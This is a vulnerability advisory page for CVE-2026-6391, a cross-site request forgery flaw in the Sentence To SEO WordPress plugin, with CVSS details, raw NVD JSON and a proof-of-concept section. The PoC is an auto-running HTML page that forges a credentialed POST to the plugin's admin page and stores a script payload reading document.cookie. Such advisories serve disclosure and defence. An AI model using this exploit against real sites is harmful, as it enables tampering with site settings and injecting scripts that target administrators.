Security Vulnerability Report
中文
CVE-2026-6391 CVSS 6.1 MEDIUM

CVE-2026-6391

Published: 2026-05-20 02:16:37
Last Modified: 2026-05-20 13:54:55

Description

The Sentence To SEO (keywords, description and tags) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the create_admin_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts and update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sentence To SEO <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-6391 CSRF to Stored XSS --> <!-- Save this as exploit.html and host it. --> <html> <body> <h1>CVE-2026-6391 CSRF PoC</h1> <p>Attempting to update plugin settings with XSS payload...</p> <script> function exploit() { // Target URL (may vary based on installation) var targetUrl = 'http://target-site.com/wp-admin/admin.php?page=sentence-to-seo'; // Prepare form data with XSS payload in description field var params = new URLSearchParams(); params.append('sentence_description', 'Hacked <script>alert(document.cookie)</script>'); params.append('sentence_keywords', 'malicious'); params.append('update_settings', 'Save'); fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: params, credentials: 'include' // Sends cookies with the request }).then(response => console.log('Request sent')) .catch(error => console.error('Error:', error)); } // Trigger exploit automatically exploit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6391", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:37.347", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sentence To SEO (keywords, description and tags) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the create_admin_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts and update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/tags/1.0/index.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sentence-to-seo/trunk/index.php#L87", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/add32c06-90d0-466f-b176-aaae55cf03fb?source=cve", "source": "[email protected]"}]}}